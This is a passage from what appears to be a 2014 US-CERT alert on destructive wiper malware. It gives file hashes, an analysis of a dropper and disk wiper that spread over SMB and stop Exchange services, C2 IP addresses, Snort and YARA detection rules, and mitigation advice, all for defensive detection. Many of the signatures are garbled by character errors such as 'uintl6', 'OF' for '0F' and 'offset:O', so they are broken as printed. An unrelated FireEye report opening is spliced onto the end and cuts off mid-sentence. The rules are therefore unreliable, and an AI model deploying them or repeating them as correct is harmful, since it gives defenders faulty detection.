Review Recommended Practices for Control Systems, and Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies (pdf).
The following is a list of the Indicators of Compromise (IOCs) that can be added to network security solutions to determine whether they are present on a network.
MD5s:
SMB worm tool:
MD5: f6f48551d7723d87daeef2e840ae008f
Characterization: File Hash Watchlist
Notes: "SMB worm tool"
Earliest PE compile Time: 20141001T072107Z
Most Recent PE compile Time: 20141001T072107Z
MD5: 194ae075bf53aa4c83e175d4fa1b9d89
Characterization: File Hash Watchlist
Notes: "SMB worm tool"
Earliest PE compile Time: 20141001T120954Z
Most Recent PE compile Time: 20141001T142138Z
Lightweight backdoor:
MD5: f57e6156907dc0f6f4c9e2c5a792df48
Characterization: File Hash Watchlist
Notes: "Lightweight backdoor"
Earliest PE compile time: 20110411T225224Z
Latest PE compile time: 20110411T225224Z
MD5: 838e57492f632da79dcd5aa47b23f8a9
Characterization: File Hash Watchlist
Notes: "Lightweight backdoor"
Earliest PE compile time: 20110517T050015Z
Latest PE compile time: 20110605T204508Z
MD5: 11c9374cea03c3b2ca190b9a0fd2816b
Characterization: File Hash Watchlist
Notes: "Lightweight backdoor"
Earliest PE compile time: 20110729T062417Z
Latest PE compile time: 20110729T062958Z
MD5: 7fb0441a08690d4530d2275d4d7eb351
Characterization: File Hash Watchlist
Notes: "Lightweight backdoor"
Earliest PE compile time: 20120128T071327Z
Latest PE compile time: 20120128T071327Z
MD5: 7759c7d2c6d49c8b0591a3a7270a44da
Characterization: File Hash Watchlist
Notes: "Lightweight backdoor"
Earliest PE compile time: 20120309T105837Z
Latest PE compile time: 20120309T105837Z
MD5: 7e48d5ba6e6314c46550ad226f2b3c67
Characterization: File Hash Watchlist
Notes: "Lightweight backdoor"
Earliest PE compile time: 20120311T090329Z
Latest PE compile time: 20120311T090329Z
MD5: 0a87c6f29f34a09acecce7f516cc7fdb
Characterization: File Hash Watchlist
Notes: "Lightweight backdoor"
Earliest PE compile time: 20120325T053138Z
Latest PE compile time: 20130513T090422Z
MD5: 25fb1e131f282fa25a4b0dec6007a0ce
Characterization: File Hash Watchlist
Notes: "Lightweight backdoor"
Earliest PE compile time: 20130802T054822Z
Latest PE compile time: 20130802T054822Z
MD5: 9761dd113e7e6673b94ab4b3ad552086
Characterization: File Hash Watchlist
Notes: "Lightweight backdoor"
Earliest PE compile time: 20130913T013016Z
Latest PE compile time: 20130913T013016Z
MD5: c905a30badb458655009799b1274205c
Characterization: File Hash Watchlist
Notes: "Lightweight backdoor"
Earliest PE compile time: 20140205T090906Z
Latest PE compile time: 20140205T090906Z
MD5: 40adcd738c5bdc5e1cc3ab9a48b3df39
Characterization: File Hash Watchlist
Notes: "Lightweight backdoor"
Earliest PE compile time: 20140320T152637Z
Latest PE compile time: 20140402T023748Z
MD5: 68a26b8eaf2011f16a58e4554ea576a1
Characterization: File Hash Watchlist
Notes: "Lightweight backdoor"
Earliest PE compile time: 20140321T014949Z
Latest PE compile time: 20140321T014949Z
MD5: 74982cd1f3be3d0acfb0e6df22dbcd67
Characterization: File Hash Watchlist
Notes: "Lightweight backdoor"
Earliest PE compile time: 20140506T020330Z
Latest PE compile time: 20140506T020330Z
Proxy tool:
MD5: 734740b16053ccc555686814a93dfbeb
Characterization: File Hash Watchlist
Notes: "Proxy tool"
Earliest PE compile time: 20140611T064905Z
Latest PE compile time: 20140611T064905Z
MD5: 3b9da603992d8001c1322474aac25f87
Characterization: File Hash Watchlist
Notes: "Proxy tool"
Earliest PE compile time: 20140617T035143Z
Latest PE compile time: 20140617T035143Z
MD5: e509881b34a86a4e2b24449cf386af6a
Characterization: File Hash Watchlist
Notes: "Proxy tool"
Earliest PE compile time : 20140618T064527Z
Latest PE compile time: 20140618T064527Z
MD5: 9ab7f2bf638c9d911c2c742a574db89e
Characterization: File Hash Watchlist
Notes: "Proxy tool"
Earliest PE compile time: 20140724T011233Z
Latest PE compile time: 20140724T011233Z
MD5: a565e8c853b8325ad98f1fac9c40fb88
Characterization: File Hash Watchlist
Notes: "Proxy tool"
Earliest PE compile time: 20140724T065031Z
Latest PE compile time: 20140902T135050Z
MD5: 0bb82def661dd013a1866f779b455cf3
Characterization: File Hash Watchlist
Notes: "Proxy tool"
Earliest PE compile time: 20140819T024812Z
Latest PE compile time: 20140819T024812Z
MD5: b8ffff8b57586d24e1e65cd0b0ad9173
Characterization: File Hash Watchlist
Notes: "Proxy tool"
Earliest PE compile time: 20140902T172442Z
Latest PE compile time: 20140902T172442Z
MD5: 4ef0ad7ad4fe3ef4fb3db02cd82bface
Characterization: File Hash Watchlist
Notes: "Proxy tool"
Earliest PE compile time: 20141024T134136Z
Latest PE compile time: 20141024T134136Z
MD5: eb435e86604abced7c4a2b11c4637a52
Characterization: File Hash Watchlist
Notes: "Proxy tool"
Earliest PE compile time: 20140526T010925Z
Latest PE compile time: 20140526T010925Z
MD5: ed7a9c6d9fc664afe2de2dd165a9338c
Characterization: File Hash Watchlist
Notes: "Proxy tool"
Earliest PE compile time: 20140611T064904Z
Destructive hard drive tool:
MD5: 8dec36d7f5e6cbd5e06775771351c54e
Characterization: File Hash Watchlist
Notes: "Destructive hard drive tool"
Earliest PE compile time: 20120507T151820Z
Latest PE compile time: 20120507T151820Z
MD5: a385900a36cad1c6a2022f31e8aca9f7
Characterization: File Hash Watchlist
Notes: "Destructive target cleaning tool"
Earliest PE compile time: 20130318T003315Z
Latest PE compile time: 20130318T003315Z
MD5: 7bea4323807f7e8cf53776e24cbd71f1
Characterization: File Hash Watchlist
Notes: "Destructive target cleaning tool"
Earliest PE compile time: 20130318T003319Z
Latest PE compile time: 20130318T003319Z
Name: d1c27ee7ce18675974edf42d4eea25c6.bin
Size: 268579 bytes (268.6 KB)
MD5: D1C27EE7CE18675974EDF42D4EEA25C6
PE Compile Time: 2014-11-22 00:06:54
The malware has the following characteristics:
While the original filename of this file is unknown, it was likely “diskpartmg16.exe”.
This file serves as a dropper.
It drops destructive malware: “igfxtrayex.exe”.
When the dropper file was executed, it started a second instance of itself with “-i” as an argument, and then terminated.
The second instance of the dropper file
installed itself as the “WinsSchMgmt” service with “-k” as a command line argument, started the service, and then terminated.
The “WinsSchMgmt” service
executed the file with “-k” as an argument, which started another instance of the file using “-s” as an argument.
The “-s” instance dropped and executed
“igfxtrayex.exe”, created “net_ver.dat”, and began generating network traffic over TCP ports 445 and 139 to victim IP addresses.
Name: net_ver.dat
Size: 4572 bytes (4.6 KB) (size will vary)
MD5: 93BC819011B2B3DA8487F964F29EB934 (hash will vary)
This is a log file created by the dropper, and appended to as the scans progress It contains what appear to be hostnames, IP addresses, and the number 2.
Entries in the file have the structure “HOSTNAME | IP Address | 2”.
Name: igfxtrayex.exe
Size: 249856 bytes (249.9 KB)
MD5: 760C35A80D758F032D02CF4DB12D3E55
PE Compile Time: 2014-11-24 04:11:08
This file is destructive malware: a disk wiper with network beacon capabilities.
If “igfxtrayex.exe” is run with no parameters, it creates and starts a copy of itself with
the “–i” argument.
After 10 minutes, the “igfxtrayex.exe” makes three copies of itself and places them in the same directory from which it was executed.
These
copies are named according to the format “taskhostXX.exe” (where X is a randomly generated ASCII character).
These copies are then executed, each with a
different argument (one being “-m”, one being “-d” and the other “-w”).
Network connection attempts are made to one of three hard-coded IP addresses in a random
order to port 8080 or 8000.
If a connection to the IP address cannot be made, it attempts to connect to another of the three IP addresses, until connections to all
three IP addresses have been attempted.
The following command-line string is then executed: “cmd.exe /c net stop MSExchangeIS /y”.
A 120-minute (2 hour)
sleep command is issued after which the computer is shut down and rebooted.
Name: iissvr.exe
Size: 114688 bytes (114.7 KB)
MD5: E1864A55D5CCB76AF4BF7A0AE16279BA
PE Compile Time: 2014-11-13 02:05:35
This file, when executed, starts a listener on localhost port 80.
It has 3 files contained in the resource section; all xor’d with 0x63.
Name: usbdrv3_32bit.sys
Size: 24280 bytes (24.3 KB)
MD5: 6AEAC618E29980B69721158044C2E544
PE Compile Time: 2009-08-21 06:05:32
This SYS file is a commercially available tool that allows read/write access to files and raw disk sectors for user mode applications in Windows 2000, XP, 2003,
Vista, 2008 (32-bit).
It is dropped from resource ID 0x81 of “igfxtrayex.exe”.
Name: usbdrv3_64bit.sys
Size: 28120 bytes (28.1 KB)
MD5: 86E212B7FC20FC406C692400294073FF
PE Compile Time: 2009-08-21 06:05:35
This SYS file is a also a commercially available tool that allows read/write access to files and raw disk sectors for user mode applications in Windows 2000, XP,
2003, Vista, 2008 (64-bit).
It is dropped from resource ID 0x83 of “igfxtrayex.exe”.
Name: igfxtpers.exe
Size: 91888 bytes (91.9 KB)
MD5: e904bf93403c0fb08b9683a9e858c73e
PE Compile Time: 2014-07-07 08:01:09
A summary of the C2 IP addresses:
IP Address                                         Country                                   Port           Filename
203.131.222.102                                    Thailand                                  8080           Diskpartmg16.exe
igfxtrayex.exe
igfxtpers.exe
217.96.33.164                                      Poland                                    8000           Diskpartmg16.exe
igfxtrayex.exe
88.53.215.64                                       Italy                                     8000           Diskpartmg16.exe
igfxtrayex.exe
200.87.126.116                                     Bolivia                                   8000           File 7
58.185.154.99                                      Singapore                                 8080           File 7
212.31.102.100                                     Cypress                                   8080           File 7
208.105.226.235                                    United States                             --             igfxtpers.exe
Snort signatures:
SMB Worm Tool (not necessarily the tool itself):
alert tcp any any -> any any (msg:"Wiper1";content:"|be 64 ba f2 a8 64|";offset:16;depth:6;sid:1;)
alert tcp any any -> any any (msg:"Wiper2";content:"|c9 06 d9 96 fc 37 23 5a fe f9 40 ba 4c 94 14 98|";offset:0;depth:16;sid:3;)
alert tcp any any -> any any (msg:"Wiper3";content:"|aa 64 ba f2 56 9b|";offset:0;depth:50;sid:2;)
alert ip any any -> any any (msg:"Wiper4";content:"|aa 74 ba f2 b9 75|";offset:0;depth:74;sid:4;)
Listening Implant:
alert tcp any any -> any any (msg:"Backdoor1";content:"|0c 1f 1f 1f 4d 5a 4c 4f 50 51 4c 5a 3f 2d 2f 2f 3f 50 54 3e 3e 3e|";offset:0;depth:22;sid:9;)
alert tcp any any -> any any (msg:"Backdoor2";content:"|d3 c4 d2 d1 ce cf d2 c4 a1 b3 b1 b1 a1 ce ca a0 a0 a0|";offset:0;depth:18;sid:12;)
alert ip any any -> any any (msg:"Backdoor3";content:"|17 08 14 13 67 0f 13 13 17 67 15 02 16 12 02 14 13 78 47 47|";depth:24;sid:1;)
alert ip any any -> any any (msg:"Backdoor4";content:"|4f 50 4c 4b 3f 57 4b 4b 4f 3f 4d 5a 4e 4a 5a 4c 4b 20 1f|";depth:23;sid:2;)
alert ip any any -> any any (msg:"Backdoor5";content:"|15 02 14 17 08 09 14 02 67 75 77 77 67 08 0c 66 66 66|";depth:22;sid:3;)
alert tcp any any -> any any (msg:"Backdoor6";content:"|09 22 33 30 28 35 2c|";sid:4;)
alert tcp any any -> any any (msg:"Backdoor7";content:"|13 2f 22 35 22 67 26 35 22 29 27 33 67 28 37 22 29 67 37 28 35 33 34 69|";sid:5;)
alert tcp any any -> any any (msg:"Backdoor8";content:"|43 47 47 47 45 67 47 47 43 47 47 47 44 67 47 47|";sid:6;)
alert tcp any any -> any any (msg:"Backdoor9";content:"|43 47 47 47 42 67 47 47 43 47 47 47 4f 67 47 47 43 47 47 47 43 67 47 47 43 47 47 47 4e 67 47
47|";sid:7;)
alert tcp any any -> any any (msg:"Backdoor10";content:"|d1 ce d2 d5 a1 c9 d5 d5 d1 a1 d3 c4 d0 d4 c4 d2 d5 be|";offset:0;depth:18;sid:8;)
alert tcp any any -> any any (msg:"Backdoor11";content:"|17 08 14 13 67 0f 13 13 17 67 15 02 16 12 02 14 13 78|";offset:0;depth:18;sid:10;)
alert tcp any any -> any any (msg:"Backdoor12";content:"|0c 1f 1f 1f 4f 50 4c 4b 3f 57 4b 4b 4f 3f 4d 5a 4e 4a 5a 4c 4b 20|";sid:11;)
Lightweight Backdoor:
alert tcp any 488 <> any any (msg:"Proxy1";content:"|60 db 37 37 37 37 37 37|";sid:3;)
alert tcp any any -> any 488 (msg:"Proxy2";content:"|60 db 37 37 37 37 37 37|";sid:4;)
alert tcp any any -> any any (msg:"Proxy3";content:"|4c 4c|";offset:16;depth:2;content:"|75 14 2a 2a|";distance:4;within:4;sid:4;)
alert tcp any any -> any any (msg:"Proxy4";content:"|8A 10 80 C2 67 80 F2 24 88 10|";content:"8A 10 80 F2 24 80 EA 67 88 10";sid:2;)
alert tcp any 488 <> any any (msg:"Proxy5";content:"|65 db 37 37 37 37 37 37|";sid:2;)
alert tcp any any -> any 488 (msg:"Proxy6";content:"|65 db 37 37 37 37 37 37|";sid:2;)
alert tcp any [547,8080,133,117,189,159] -> any any (msg:"Proxy7";content:"|7b 08 2a 2a|";offset:17;content:"|08 2a 2a 01 00|";distance:0;sid:1;)
alert tcp any any -> any any (msg:"Proxy8";content:"|8A 10 80 EA 62 80 F2 B4 88 10|";content:"|8A 10 80 F2 B4 80 C2 62 88 10|";sid:1;)
alert tcp any any -> any any (msg:"Proxy9";content:"|8A 10 80 C2 4E 80 F2 79 88 10|";content:"|8A 10 80 F2 79 80 EA 4E 88 10[";sid:3;)
alert tcp any any -> any any (msg:"Proxy10";content:"Sleepy!@#qaz13402scvsde890";nocase;content:"BC435@PRO62384923412!@3!
";nocase;sid:5;)
Proxy Tool:
alert tcp any any -> any any (msg:"Wiper1";content:"|8A 10 80 C2 3A 80 F2 73 88 10|";content:"|8A 10 80 F2 73 80 EA 3A 88 10|";sid:4;)
alert tcp any any -> any any (msg:"Wiper2";content:!
"HTTP/1";content:"|e2 1d 49 49|";offset:O;depth:4;content:"|49 49 49 49|";distance:4;within:4;sid:6;)
alert tcp any any -> any any (msg:"Wiper3";content:"|82 F4 DE D4 D3 C2 CA F5 C8 C8 D3 82 FB F4 DE D4 D3 C2 CA 94 95 FB D4 D1 C4 CF C8 D4 D3 89 C2
DF C2 87 8A CC 87 00|";sid:1;)
Malware associated with the cyber threat actor:
alert tcp any any -> any [8000,8080] (msg:"WIPER4";flow: established, to_server;dsize:42;content:"|28 00|";depth:2;content:"|04 00 00
00|";offset:38;depth:4;sid:123;)
Host Based Indicators
Below are potential YARA signatures to detect malware binaries on host machines:
SMB Worm Tool:
strings:
$STR1 = "Global\\FwtSqmSession106829323_S-1-5-19"
$STR2 ="EVERYONE"
$STR3 = "y0uar3@s!llyid!07,ou74n60u7f001"
$STR4 = "\\KB25468.dat" condition:
(uintl6(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) ==0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
Lightweight Backdoor:
strings:
$STR1 = ''NetMgStart"
$STR2 = ''Netmgmt.srg"
condition:
(uint16(0) == 0x5A4D) and all of them
Lightweight Backdoor:
strings:
$STR1 = "prxTroy" ascii wide nocase
condition:
(uintl6(0) == 0x5A4D or uint16(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
Lightweight Backdoor:
strings:
$strl = { C6 45 E8 64 C6 45 E9 61 C6 45 EA 79 C6 45 EB 69 C6 45 EC 70 C6 45 ED 6D C6 45 EE 72 C6 45 EF 2E C6 45 F0 74 C6 45 F1 62 C6 45 F2 6C } //
'dayipmr.tbl' being moved to ebp
condition:
(uintl6(0) == 0x5A4D or uintl6(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
Lightweight Backdoor:
strings:
$strl = { C6 45 F4 61 C6 45 F5 6E C6 45 F6 73 C6 45 F7 69 C6 45 F8 2E C6 45 F9 6E C6 45 FA 6C C6 45 FB 73 } // 'ansi.nls' being moved to ebp
condition:
(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or
uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
Lightweight Backdoor:
strings:
$strl = { C6 45 F4 74 C6 45 F5 6C C6 45 F6 76 C6 45 F7 63 C6 45 F8 2E C6 45 F9 6E C6 45 FA 6C C6 45 FB 73 } // 'tlvc.nls' being moved to ebp
condition:
(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
Lightweight Backdoor:
strings:
$STR1 = { 8A 10 80 ??
4E 80 ??
79 88 10}
$STR2 = {SA 10 80??
79 80 ??
4E 88 10}
condition:
(uintl6(0) == 0x5A4D or uintl6(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
Proxy Tool:
strings:
$STR1 = "pmsconfig.msi" wide
$STR2 = "pmslog.msi" wide
condition:
(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them
Proxy Tool:
strings:
$STR1 = { 82 F4 DE D4 D3 C2 CA F5 C8 C8 D3 82 FB F4 DE D4 D3 C2 CA 94 95 FB D4 Dl C4 CF C8 D4 D3 89 C2 DF C2 87 8A CC 87 00 } //
'%SystemRoot%\System32\svchost.exe -k' xor A7
condition:
(uint16(0) == 0x5A4D or uintl6(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
Proxy Tool:
strings:
$STR2 = {8A 04 17 8B FB 34 A7 46 88 02 83 C9 FF}
condition:
(uintl6(0) == 0x5A4D or uint16(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and $STR2
Destructive Hard Drive Tool:
strings:
$str0= "MZ"
$str1 = {c6 84 24 ??
( 00 | 01 ) 00 00 }
$xorInLoop = { 83 EC 20 B9 08 00 00 00 33 D2 56 8B 74 24 30 57 8D 7C 24 08
F3 A5 8B 7C 24 30 85 FF 7E 3A 8B 74 24 2C 8A 44 24 08 53 8A 4C 24 21 8A 5C 24 2B 32 C1 8A 0C 32 32 C3 32 C8 88 0C 32 B9 1E 00 00 00 8A 5C 0C 0C 88
5C 0C 0D 49 83 F9 FF 7F F2 42 88 44 24 0C 3B D7 7C D0 5B 5F 5E 83 C4 20 C3 }
condition:
$str0 at 0 and $xorInLoop and #str1 > 300
Destructive Target Cleaning Tool:
strings:
$s1 = {d3000000 [4] 2c000000 [12] 95000000 [4] 6a000000 [8] 07000000}
condition:
(uintl6(0) == 0x5A4D and uintl6(uint32(0x3c)) == 0x4550) and all of them
Destructive Target Cleaning Tool:
strings
$secureWipe= { 83 EC 34 53 55 8B 6C 24 40 56 57 83 CE FF 55 C7 44 24 2C D3 00 00 00 C7 44 24 30 2C 00 00 00 89 74 24 34 89 74 24 38 C7 44 24 3C 95 00
00 00 C7 44 24 40 6A 00 00 00 89 74 24 44 C7 44 24 14 07 00 00 00 FF 15 ??
??
??
??
3B C6 89 44 24 1C OF 84 (D8 | d9) 01 00 00 33 FF 68 00 00 01 00 57 FF
15 ??
??
??
??
8B D8 3B DF 89 5C 24 14 OF 84 (BC | BD) 01 00 00 8B 44 24 1C A8 01 74 0A 24 FE 50 55 FF 15 ??
??
??
??
8B 44 24 4C 2B C7 74 20 48 74 0F
83 E8 02 75 1C C7 44 24 10 03 00 00 00 EB 12 C7 44 24 10 01 00 00 00 89 74 24 28 EB 04 89 7C 24 10 8B 44 24 10 89 7C 24 1C 3B C7 OF 8E ( 5C | 5d ) 01 00
00 8D 44 24 28 89 44 24 4C EB 03 83 CE FF 8B 4C 24 4C 8B 01 3B C6 74 17 8A D0 B9 00 40 00 00 8A F2 8B FB 8B C2 C1 E0 10 66 8B C2 F3 AB EB ( 13 | 14)
33 F6 (E8 | ff 15) ??
??
??
??
88 04 1E 46 81 FE 00 00 01 00 7C ( EF | ee) 6A 00 6A 00 6A 03 6A 00 6A 03 68 00 00 00 C0 55 FF 15 ??
??
??
??
8B F0 83 FE FF
OF 84 FA 00 00 00 8D 44 24 20 50 56 FF 15 ??
??
??
??
8B 2D ??
??
??
??
6A 02 6A 00 6A FF 56 FF D5 8D 4C 24 18 6A 00 51 6A 01 53 56 FF 15 ??
??
?? ?
?
56 FF 15 ??
??
??
??
6A 00 6A 00 6A 00 56 FF D5 8B 44 24 24 8B 54 24 20 33 FF 33 DB 85 CO 7C 5A 7F 0A 85 D2 76 54 EB 04 8B 54 24 20 8B CA BD 00 00
01 00 2B CF 1B C3 85 C0 7F 0A 7C 04 3B CD 73 04 2B D7 8B EA 8B 44 24 14 8D 54 24 18 6A 00 52 55 50 56 FF 15 ??
??
??
??
8B 6C 24 18 8B 44 24 24 03
FD 83 D3 00 3B D8 7C BE 7F 08 8B 54 24 20 3B FA 72 B8 8B 2D ??
??
??
??
8B 5C 24 10 8B 7C 24 1C 8D 4B FF 3B F9 75 17 56 FF 15 ??
??
??
??
6A 00 6A
00 6A 00 56 FF D5 56 FF 15 ??
??
??
??
56 FF 15 ??
??
??
??
56 FF 15 ??
??
??
??
8B 4C 24 4C 8B 6C 24 48 47 83 C1 04 3B FB 8B 5C 24 14 89 7C 24 1C 89
4C 24 4C 0F 8C ( AE | AD) FE FF FF 6A 00 55 E8 ??
??
??
??
83 C4 08 53 FF 15 ??
??
??
??
5F 5E 5D 5B 83 C4 34 C3}
condition:
$secureWipe
Destructive Target Cleaning Tool:
strings:
$S1_CMD_Arg = ""/install'"' fullword
$S2_CMD_Parse= ""\""%s'"' /install \""%s\""'"' fullword
$S3_CMD_Builder= ""\'"'%s\"" \""%s\'"' \""%s\'"' %s'"' fullword
condition:
all of them
Destructive Target Cleaning Tool:
strings:
$BATCH_SCRIPT_LN1_0 = ""goto x"" fullword
$BATCH_SCRIPT_LN1_1 = '"'del"" fullword
$BATCH_SCRIPT_LN2_0 = ""if exist"" fullword
$BATCH_SCRIPT_LN3_0 = "":x'"' fullword
$BATCH_SCRIPT_LN4_0 = ""zz%d.bat"'' fullword
condition:
(#BATCH_SCRIPT_LNl_l == 2) and all of them"
Destructive Target Cleaning Tool:
strings:
$MCU_DLL_ZLIB_COMPRESSED2=
{5CECABAE813CC9BCD5A542F454910428343479806F71D5521E2AOD}
condition:
$MCU_DLL_ZLIB_COMPRESSED2"
Destructive Target Cleaning Tool:
strings:
$MCU_INF_StartHexDec =
{010346080A30D63633000B6263750A5052322A00103D1B570A30E67F2A00130952690A50 3A0D2A000E00A26El5104556766572636C7669642E657865}
$MCU_INF_StartHexEnc =
{6C3272386958BF075230780A0A54676166024968790C7A6779588F5E47312739310163615B3D59686721CF5F2120263ElF5413531FlE004543544C55}
condition:
$MCU_INF_StartHexEnc or
$MCU_INF_StartHexDec
Destructive Target Cleaning Tool:
strings:
$ = "SetFilePointer"
$ = "SetEndOfFile"
$ = {75 17 56 ff 15 ??
??
??
??
6a 00 6a 00 6a 00 56 ffD5 56 ff 15??
?? ?
?
??
56}
condition:
(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
Destructive Target Cleaning Tool:
strings:
$license=
{E903FFFF820050006F007200740069006F006E007300200063006F007000790072006900670068007400200052006F006200650072007400200064006500200042006100740068002C00
$PuTTY= {50007500540054005900}
condition:
(uint16(0) == 0x5A4D and uintl6(uint32(0x3c)) == 0x4550) and $license and not $PuTTY
Malware used by cyber threat actor:
strings:
$heapCreateFunction_0 = {33C06A003944240868001000000F94C050FF15????????85C0A3???????07436E893FEFFFF83F803A3??????
?
0750D68F8030000E8??00000059EB0A83F8027518E8????000085C0750FFF35???????0FF15??????
?033C0C36A0158C3}
$heapCreateFunction =
{558BECB82C120000E8????FFFF8D8568FFFFFF5350C78568FFFFFF94000000FF1???????
?
085C0741A83BD78FFFFFF02751183BD6CFFFFFF0572086A0158E9020100008D85D4EDFFF68901000005068???????0FF15??????
?
085C00F84D000000033DB8D8DD4EDFFFF389DD4EDFFFF74138A013C617C083C7A7F042C20880141381975ED8D85D4EDFFFF6A165068???????0E8???
?
000083C40C85C075088D85D4EDFFFFEB498D8564FEFFFF68040100005053FF15??????
?
0389D64FEFFFF8D8D64FEFFFF74138A013C617C083C7A7F042C20880141381975ED8D8564FEFFFF508D85D4EDFFFF50E8???????
?
59593BC3743E6A2C50E8????????593BC3597430408BC83818740E80393B75048819EB0141381975F26A0A5350E8???
?
000083C40C83F802741D83F803741883F80174138D45FC50E898FEFFFF807DFC06591BC083C0035BC9C3}
$getMajorMinorLinker =
{568B7424086A00832600FF15??????
?06681384D5A75148B483C85C9740D03C18A481A880E8A401B8846015EC3}
$openServiceManager =
{FF15???0?0?08B?885??74????????????????5?FF15???0?0?08B????
?0?0?08BF?85F?74}
condition:
all of them
Malware used by cyber threat actor:
strings:
$str1 = "_quit"
$str2 = "_exe"
$str3 = "_put"
$str4 = "_got"
$str5 = "_get"
$str6 ="_del"
$str7 = "_dir"
$str8 = { C7 44 24 18 1F F7}
condition:
(uintl6(0) == 0x5A4D or uintl6(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
Malware used by cyber threat actor:
strings:
$STR1 = { 50 68 80 00 00 00 68 FF FF 00 00 51 C7 44 24 1C 3a 8b 00 00 }
condition:
(uintl6(0) == 0x5A4D or uint16(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
Recommended Security Practices
Because of the highly destructive functionality of the malware, an organization infected with the malware could experience operational impacts including loss of
intellectual property (IP) and disruption of critical systems.
Actual impact to organizations may vary depending on the type and number of systems impacted.
Tactical Mitigations
Implement the indicators of compromise within your systems for detection and mitigation purposes.
Encourage users to transfer critical files to network shares, to allow for central backed up.
Execute daily backups of all critical systems.
Periodically execute an “offline” backup of critical files to removable media.
Establish emergency communications plans should network resources become unavailable.
Isolate any critical networks (including operations networks) from business systems.
Identify critical systems and evaluate the need for having on-hand spares to quickly restore service.
Ensure antivirus is up to date.
Disable credential caching for all desktop devices with particular importance on critical systems such as servers and restrict the number of cached credential
for all portable devices to no more than three if possible.
This can be accomplished through a Group Policy Object (GPO).
Disable AutoRun and Autoplay for any removable media device.
Prevent or limit the use of all removable media devices on systems to limit the spread or introduction of malicious software and possible exfiltration data,
except where there is a valid business case for use.
This business case must be approved by the organization Chief IT Security Officer, with policy/guidance
on how such media should be used.
Consider restricting account privileges.
It is our recommendation that all daily operations should be executed using standard user accounts unless
administrative privileges are required for that specific function.
Configure all standard user accounts to prevent the execution and installation of any unknown
or unauthorized software.
Both standard and administrative accounts should have access only to services required for nominal daily duties, enforcing the
concept of separation of duties.
Lastly, disable Web and email capabilities on administrative accounts.
Compromise of admin accounts is one vector that
allows malicious activity to become truly persistent in a network environment.
Ensure that password policy rules are enforced and Admin password values are changed periodically.
Consider prohibiting hosts within the production environment or DMZ from sharing an Active Directory enterprise with hosts on other networks.
Each
environment should have separate forests within Active Directory, with no trust relationships allowed between the forests if at all possible.
If necessary, the
trust relationships should be one-way with the low integrity environment trusting the higher integrity environment.
Consider deployment of a coaching page with click through acceptance; these are traditionally deployed in an environment to log the acceptance of network
acceptable use policy or to notify users of monitoring.
Coaching pages also provide some measure of protection from automated malicious activity.
This
occurs because automated malware is normally incapable of physically clicking an acceptance radial button.
Automated malware is traditionally hardcoded to
execute, then retrieve commands or additional executables from the Internet.
If the malware is unable to initiate an active connection, the full train of infection
is potentially halted.
The danger still exists that the physical user will authorize access, but through the use of coaching pages, infections can be limited or at
least the rate of infection reduced.
Monitor logs -- Maintain and actively monitor a centralized logging solution that keeps track of all anomalous and potentially malicious activity.
Ensure that all network operating systems, web browsers, and other related network hardware and software remain updated with all current patches and
fixes.
Strategic Mitigations
Organizations should review Security Tip Handling Destructive Malware #ST13-003 and evaluate their capabilities encompassing planning, preparation,
detection, and response for such an event.
Always keep your patch levels up to date, especially on computers that host public services accessible through the firewall, such as HTTP, FTP, mail, and
DNS services.
Build host systems, especially critical systems such as servers, with only essential applications and components required to perform the intended function.
Any unused applications or functions should be removed or disabled, if possible, to limit the attack surface of the host.
Implement network segmentation through V-LANs to limit the spread of malware.
Consider the deployment of Software Restriction Policy set to only allow the execution of approved software (application whitelisting)
Recommend the whitelisting of legitimate executable directories to prevent the execution of potentially malicious binaries.
Consider the use of two-factor authentication methods for accessing privileged root level accounts or systems.
Consider deploying a two-factor authentication through a hardened IPsec/VPN gateway with split-tunneling prohibited for secure remote access.
Deny direct Internet access, except through the use of proxies for Enterprise servers and workstations.
Perform regular content filtering at the proxies or
external firewall points of presence.
Also consider the deployment of an explicit versus transparent proxy policy.
Implement a Secure Socket Layer (SSL) inspection capability to inspect both ingress and egress encrypted network traffic for potential malicious activity.
Isolate network services, such as email and Web application servers by utilizing a secure multi-tenant virtualization technology.
This will limit the damage
sustained from a compromise or attack of a single network component.
Implement best practice guidance and policy to restrict the use of non-Foundation assets for processing or accessing Foundation-controlled data or systems
(e.g., working from home, or using a personal device while at the office).
It is difficult to enforce corporate policies, detect intrusions, and conduct forensic
analysis or remediate compromises on non-corporate owned devices.
Minimize network exposure for all control system devices.
Control system devices should not directly face the Internet.
Place control system networks behind firewalls, and isolate or air gap them from the business network.
When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPN is only as secure as the connected
devices.
Industrial Control System (ICS)-CERT and US-CERT remind organizations to perform proper impact analysis and risk assessment prior to taking defensive
measures.
References
N/A
Revisions
December 19, 2014: Initial Release
This product is provided subject to this Notification and this Privacy & Use policy.
Aided Frame, Aided Direction (Because it’s a redirect)
Introduction:
On September 24 2014, FireEye observed a new strategic web compromise (SWC) campaign that we
believe is targeting non-profit organizations and non-governmental organizations (NGO) by hosting
iframes on legitimate websites.
The compromised websites contained an iframe to direct site visitors to a
